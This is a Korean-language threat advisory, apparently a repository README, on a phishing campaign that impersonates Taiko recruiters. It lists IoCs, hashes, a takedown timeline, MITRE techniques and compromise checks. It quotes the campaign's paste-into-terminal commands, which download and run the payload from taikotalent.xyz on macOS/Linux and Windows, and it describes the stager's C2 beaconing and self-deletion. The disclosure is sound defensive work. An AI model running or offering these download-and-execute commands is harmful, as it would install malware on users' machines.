taikotalent.xyz 가짜 Taiko 채용 담당자 캠페인에 대한 IoC, 공격 체인 및 탐지 정보로, 터미널에 붙여넣기 하는 "안티봇" 수법을 통해 스스로 삭제되는 Bash 트로이 목마를 전달합니다. 페이로드는 2026-10-09 기준으로 여전히 활성 상태입니다.
상태: 테이크다운 완료. 악성 도메인
taikotalent.xyz는 2026-10-10 02:39 UTC에 등록기관(clientHold)에 의해 정지되었습니다 — 페이로드가 여전히 활성 상태인 가운데 AWS 남용 신고에 증거 기반 후속 조치를 한 지 약 12시간 후였습니다. 2026-10-15에 RDAP 및 DNS를 통해 검증했습니다. 자세한 내용은 아래 타임라인을 참조하세요.
업데이트 2026-10-15 — 피싱 도메인 테이크다운 완료.
taikotalent.xyz와hr.taikotalent.xyz는 이제 NXDOMAIN을 반환합니다 (DNS-over-HTTPS로 확인, 2026-10-15) — 10월 5일의 협조 신고(AWS 케이스179121234700301, NameCheap 티켓NC-DFA-2100, 13개 통보 채널) 이후 10일 만입니다. 페이로드 URL(/verify_m,/verify_w)은 더 이상 확인되지 않습니다.부분 해결 — C2 계층은 여전히 활성 상태:
api.gaganata.ink(104.21.84.196 / 172.67.196.60)와api.fallgganata.ink는 여전히 Cloudflare 뒤에서 확인되며 HTTP 응답을 반환합니다 (프로브 시 404, 2026-10-15).gaganata.ink/fallgganata.ink도메인에 대한 남용 신고는 등록기관과 Cloudflare에서 여전히 대기 중입니다 (남용 양식은 브라우저 + Turnstile 필요).상태 @ 2026-10-09 00:46 UTC (과거): 페이로드 여전히 활성 —
https://taikotalent.xyz/verify_m→ HTTP 200, 49,916 바이트, 10월 5일 샘플과 바이트 단위로 동일, AWS 남용 신고 후 4일 이상 경과.
Taiko(이더리움 롤업 회사 — 실제 도메인 taiko.xyz, taikotalent.xyz와 아무런 관련 없음)를 사칭한 표적형 피싱 캠페인이 공개 GitHub 프로필에서 수집한 오픈소스 개발자들에게 가짜 "엔지니어링 채용" 이메일을 발송합니다. 가짜 "지원 포털"은 "터미널을 이용한 안티봇 검사" 페이지로 끝나며, 피해자를 설득하여 자신의 터미널에 다운로더 명령을 붙여넣게 만듭니다 — 익스플로잇이 필요 없으며, 사용자가 스스로 악성코드를 실행하는 것입니다.
| 날짜 (UTC) | 사건 |
|---|---|
| 2026-10-05 | 캠페인 접수; 샘플 격리; 전체 포렌식 보고서 발송 (AWS 케이스 179121234700301, Resend, Taiko) |
| 2026-10-09 | 공개 확대: 이 저장소, gist, dev.to, GitLab 스니펫, Telegraph; NameCheap 남용 신고(→ 티켓 NC-DFA-2100), Softshellweb(페이로드 호스트), Cloudflare(C2), APWG, OpenPhish, oss-security, 3개 언론 매체 등 9건 추가 통보. 페이로드는 여전히 바이트 단위로 동일하며 활성 상태 |
| 2026-10-15 | taikotalent.xyz / hr.taikotalent.xyz → NXDOMAIN. 최초 신고 후 10일 만에 피싱 인프라 다운. C2(api.gaganata.ink, api.fallgganata.ink)는 여전히 Cloudflare 뒤에서 확인됨 |
/var/tmp/.kdm.*에 base64로 내장된 2차 스테이지, perl 더블 포크로 분리, 60회 재시도 정리 루프.| 유형 | 값 | 컨텍스트 |
|---|---|---|
| 도메인 | taikotalent.xyz | 2026-09-27 등록(Namecheap), 캠페인 8일 전 |
| 발신 서브도메인 | hr.taikotalent.xyz | DKIM d=; MX → AWS SES 인바운드 게이트웨이 |
| 발신자 | [email protected] | 가짜 신원 "Joseph Quintana, Talent, Taiko" |
| 발신 IP | 23.249.215.58 | d215-58.smtp-out.sa-east-1.amazonses.com (Resend를 통한 Amazon SES) |
| 포털 | https://taikotalent.xyz/ | "비공개 초대" SPA, 수신자별 Ref 코드(Ref-oxqgd77kb9zw14) |
| 유출 | POST /track-activity | 모든 양식 단계에서 디바이스 지문 + 이름/이메일/GitHub 사용자명 |
| 페이로드 (macOS/Linux) | https://taikotalent.xyz/verify_m | 49,916 B bash 스테이저 "deepfake_guard" — 2026-10-09 기준 LIVE |
| 페이로드 (Windows) | https://taikotalent.xyz/verify_w | v.cmd 런처, 숨겨진 창 |
| C2 | https://api.gaganata.ink/guard-launcher-result | 설치 상태 비콘 (Namecheap, Cloudflare 프론트) |
| C2 백업 | https://api.fallgganata.ink | 보조 엔드포인트 |
| 페이로드 호스트 IP | 193.160.32.10 | Shock Hosting (US-SHOCK1-20191118) |
| 2차 스테이지 | /var/tmp/.kdm.XXXXXX | Base64 디코딩된 내장 스테이지; 포렌식 방해용 자체 삭제 |
| 아티팩트 | SHA-256 |
|---|---|
verify_m 2026-10-05 격리됨 (49,916 B) | c7c22e322c17bda8198257342d4034af6250a5c433242461b870879ba9aa285d |
verify_m 2026-10-09 LIVE 재수집 | c7c22e322c17bda8198257342d4034af6250a5c433242461b870879ba9aa285d (바이트 단위 동일) |
| 원본 피싱 이메일 (raw) | 84d94746ea1e4642e00bbd6250f8e4fabfeff66b76acd040bb2219412195d564 |
원본 .eml 첨부 파일 (11,098 B) | 3a5bb258d76a048d0c3ff8c3671410998ef548968e1ea674b5a9dd367fa3bcf3 |
| 포렌식 보고서 PDF (17페이지, 201,044 B) | d83bc2d16a1b91e839d8d9ec440b79fe09e73c92bd2a151b843c0182cd604a1c |
curl -ks https://taikotalent.xyz/verify_m | sha256sum
# -> c7c22e322c17bda8198257342d4034af6250a5c433242461b870879ba9aa285d (do NOT execute the download)
YARA (yara/bash_stager_taikotalent.yar 참조)
호스트 침해 확인 (macOS/Linux):
ls -la /var/tmp/.kdm.* 2>/dev/null
pgrep -fl 'verify_m|deepfake_guard|guard-launcher'
find ~ -maxdepth 2 \( -name 'verify_m' -o -name 'verify_w' -o -name 'v.cmd' \) 2>/dev/null
네트워크: *.gaganata.ink, *.fallgganata.ink, taikotalent.xyz(hr. 서브도메인 포함)로의 송신 트래픽을 차단/모니터링합니다.
메일 관리자: 최근 등록된 도메인에서 온 SPF/DKIM pass는 중립적으로 취급하십시오 — 인증 ≠ 평판.
[email protected](DKIM s=resend d=hr.taikotalent.xyz, Amazon SES sa-east-1 경유, IP 23.249.215.58)에서 Taiko 엔지니어링 직무를 제안하는 표적 이메일을 공개 GitHub 기여자에게 발송.POST /track-activity가 모든 단계에서 기기 지문을 유출.perl -MPOSIX 이중 포크 데몬화 + curl -ks https://taikotalent.xyz/verify_m -o verify_m && exec bash verify_mstart -WindowStyle Hidden cmd '/c curl -ks https://taikotalent.xyz/verify_w -o v.cmd&&v.cmd'deepfake_guard: nohup으로 분리되어 재실행되고, api.gaganata.ink/guard-launcher-result(대체 api.fallgganata.ink)로 비콘을 전송하며, 내장된 base64 2차 스테이지를 /var/tmp/.kdm.XXXXXX로 디코딩하고, C2 엔드포인트를 환경 변수로 지정해 실행한 뒤, 런처, 상태 파일 및 /var/tmp 아티팩트를 자체 삭제합니다(60회 재시도 안티 포렌식 루프).| 기법 | 이름 |
|---|---|
| T1566.002 | 스피어피싱 링크 |
| T1656 | 사칭 |
| T1204.002 | 사용자 실행: 악성 파일(터미널 붙여넣기) |
| T1059.004 | 명령 및 스크립팅: Unix 셸 |
| T1027 | 난독화된 파일(base64 2차 스테이지) |
| T1071.001 | 애플리케이션 계층 프로토콜: 웹(비콘) |
| T1070.004 | 지표 제거: 파일 삭제(자체 삭제) |
| T1583.001 | 인프라 확보: 도메인 |
| 날짜 | 이벤트 |
|---|---|
| 2026-09-27 | taikotalent.xyz 등록(Namecheap) |
| 2026-10-05 | 피싱 이메일 수신; 분석 및 샘플 격리(실행되지 않음); AWS Trust & Safety, Resend, Taiko에 통보 |
| 2026-10-06 | 17페이지 포렌식 보고서 생성(해시 d83bc2d16a1b91e8…) |
| 2026-10-07 | AWS가 사건을 [email protected]으로 라우팅 |
| 2026-10-09 | 전체 공개 공개: IoC gist · 기술 분석 글 · 이 저장소; 페이로드 라이브 및 바이트 단위 동일 재검증 |
| 2026-10-09 (이후) | 라이브 페이로드 상태를 포함해 [email protected]으로 후속 메일 재발송; RDAP를 통해 인프라 매핑: 등록기관 NameCheap, 페이로드 호스트 193.160.32.10(Softshell/SHOCK1 넷블록, 어뷰즈 연락처 softshellweb.com), Cloudflare 뒤의 C2; 세 제공자 모두와 APWG, OpenPhish, oss-security 및 3개 언론 매체에 어뷰즈 신고 발송(총 13개 채널) |
| 2026-10-10 02:39 UTC | 해결됨 — 등록기관 테이크다운. RDAP에 이제 taikotalent.xyz에 clientHold + server transfer prohibited가 표시되며, 라이브 페이로드 후속 메일 발송 후 약 12시간 만에 적용됨. 도메인은 13일간 존속(2026-09-27 등록, 2026-10-10 정지) |
| 2026-10-15 | 사망 확인: taikotalent.xyz, hr. 및 www.는 DNS 응답 없음; 페이로드 /verify_m 접속 불가; C2 api.gaganata.ink는 여전히 Cloudflare 뒤에서 확인되지만 HTTP 404 반환 — 테이크다운 전에 이미 감염된 호스트에만 관련된 잔재 |
P01M4696RCMDN90PYQGW7NJHGT0 / 179121234700301Edison Flores(AliceLabs)의 분석 및 공개. 모든 증거는 비파괴적으로 처리되었다. 페이로드는 해시 계산을 위해 다운로드되었을 뿐 실행되지 않았다. 17페이지 분량의 포렌식 보고서와 격리된 스테이저는 방어자, 등록기관, 호스팅 업체 및 언론인에게 요청 시 제공된다.